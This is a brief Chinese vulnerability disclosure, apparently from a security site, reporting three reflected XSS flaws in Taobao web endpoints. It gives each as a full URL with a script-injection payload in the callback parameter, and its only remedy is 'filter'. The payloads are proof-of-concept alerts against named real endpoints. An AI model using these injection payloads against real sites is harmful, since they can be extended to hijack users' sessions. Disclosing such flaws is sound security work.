淘宝网3处反射型XSS！

1.http://dianying.taobao.com/json/select_city.htm?callback=B"/><script>alert(/goderci/)</script>
 
2.http://suggest.taobao.com/sug?area=etao&code=utf-8&callback="/><script>alert(/goderci/)</script>KISSY.Suggest.callback&q=
 
3.http://msp.taobao.com/pc/ksf/getSnsCoin.do?callback=test<script>alert(/goderci/)</script>
www.2cto.com



修复方案：

过滤！

作者 goderci